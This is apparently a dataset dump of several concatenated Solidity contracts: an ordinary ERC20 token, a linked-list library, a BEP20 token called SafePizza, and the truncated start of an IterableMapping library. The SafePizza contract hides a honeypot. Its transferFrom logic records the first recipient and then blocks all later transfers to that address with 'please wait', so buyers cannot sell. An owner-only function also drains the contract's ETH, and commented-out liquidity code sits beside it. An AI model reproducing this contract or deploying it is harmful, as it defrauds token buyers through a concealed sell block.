emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract SignerRole {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(msg.sender);
}
modifier onlySigner() {
require(isSigner(msg.sender));
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(msg.sender);
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from,address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract AiBe is ERC20Pausable, ERC20Burnable, ERC20Mintable, ERC20Detailed {
uint256 public constant INITIAL_SUPPLY = 6000000 * (10 ** uint256(decimals()));
address supplier = 0xf1233CeF0f5cA88d9bbB0749ef62203362B6889f;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public ERC20Detailed("AiBe", "AiBe", 18) {
_mint(supplier, INITIAL_SUPPLY);
}
} | True | [
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pragma solidity 0.4.21;
/**
* @title LinkedListLib
* @author Darryl Morris (o0ragman0o) and Modular.network
*
* This utility library was forked from https://github.com/o0ragman0o/LibCLL
* into the Modular-Network ethereum-libraries repo at https://github.com/Modular-Network/ethereum-libraries
* It has been updated to add additional functionality and be more compatible with solidity 0.4.18
* coding patterns.
*
* version 1.1.0
* Copyright (c) 2017 Modular Inc.
* The MIT License (MIT)
* https://github.com/Modular-network/ethereum-libraries/blob/master/LICENSE
*
* The LinkedListLib provides functionality for implementing data indexing using
* a circlular linked list
*
* Modular provides smart contract services and security reviews for contract
* deployments in addition to working on open source projects in the Ethereum
* community. Our purpose is to test, document, and deploy reusable code onto the
* blockchain and improve both security and usability. We also educate non-profits,
* schools, and other community members about the application of blockchain
* technology. For further information: modular.network
*
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
library LinkedListLib {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList{
mapping (uint256 => mapping (bool => uint256)) list;
}
/// @dev returns true if the list exists
/// @param self stored linked list from contract
function listExists(LinkedList storage self)
public
view returns (bool)
{
// if the head nodes previous or next pointers both point to itself, then there are no items in the list
if (self.list[HEAD][PREV] != HEAD || self.list[HEAD][NEXT] != HEAD) {
return true;
} else {
return false;
}
}
/// @dev returns true if the node exists
/// @param self stored linked list from contract
/// @param _node a node to search for
function nodeExists(LinkedList storage self, uint256 _node)
public
view returns (bool)
{
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
/// @dev Returns the number of elements in the list
/// @param self stored linked list from contract
function sizeOf(LinkedList storage self) public view returns (uint256 numElements) {
bool exists;
uint256 i;
(exists,i) = getAdjacent(self, HEAD, NEXT);
while (i != HEAD) {
(exists,i) = getAdjacent(self, i, NEXT);
numElements++;
}
return;
}
/// @dev Returns the links of a node as a tuple
/// @param self stored linked list from contract
/// @param _node id of the node to get
function getNode(LinkedList storage self, uint256 _node)
public view returns (bool,uint256,uint256)
{
if (!nodeExists(self,_node)) {
return (false,0,0);
} else {
return (true,self.list[_node][PREV], self.list[_node][NEXT]);
}
}
/// @dev Returns the link of a node `_node` in direction `_direction`.
/// @param self stored linked list from contract
/// @param _node id of the node to step from
/// @param _direction direction to step in
function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)
public view returns (bool,uint256)
{
if (!nodeExists(self,_node)) {
return (false,0);
} else {
return (true,self.list[_node][_direction]);
}
}
/// @dev Can be used before `insert` to build an ordered list
/// @param self stored linked list from contract
/// @param _node an existing node to search from, e.g. HEAD.
/// @param _value value to seek
/// @param _direction direction to seek in
// @return next first node beyond '_node' in direction `_direction`
function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)
public view returns (uint256)
{
if (sizeOf(self) == 0) { return 0; }
require((_node == 0) || nodeExists(self,_node));
bool exists;
uint256 next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
/// @dev Creates a bidirectional link between two nodes on direction `_direction`
/// @param self stored linked list from contract
/// @param _node first node for linking
/// @param _link node to link to in the _direction
function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction) private {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
/// @dev Insert node `_new` beside existing node `_node` in direction `_direction`.
/// @param self stored linked list from contract
/// @param _node existing node
/// @param _new new node to insert
/// @param _direction direction to insert node in
function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction) internal returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
uint256 c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
return true;
} else {
return false;
}
}
/// @dev removes an entry from the linked list
/// @param self stored linked list from contract
/// @param _node node to remove from the list
function remove(LinkedList storage self, uint256 _node) internal returns (uint256) {
if ((_node == NULL) || (!nodeExists(self,_node))) { return 0; }
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
return _node;
}
/// @dev pushes an enrty to the head of the linked list
/// @param self stored linked list from contract
/// @param _node new entry to push to the head
/// @param _direction push to the head (NEXT) or tail (PREV)
function push(LinkedList storage self, uint256 _node, bool _direction) internal {
insert(self, HEAD, _node, _direction);
}
/// @dev pops the first entry from the linked list
/// @param self stored linked list from contract
/// @param _direction pop from the head (NEXT) or the tail (PREV)
function pop(LinkedList storage self, bool _direction) internal returns (uint256) {
bool exists;
uint256 adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
Missed out on #SafePizza? MAKE SURE YOU DON'T MISS OUT ON #SafePizza
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "SafePizza";
name = "safepizza.finance";
decimals = 8;
_totalSupply = 1000000 * 10**10 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
/**
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
*/
contract Safepizza is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
/**
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
*/ | True | [
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] | [
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library IterableMapping {
// Iterable mapping from address to uint;
struct Map {
address[] keys;
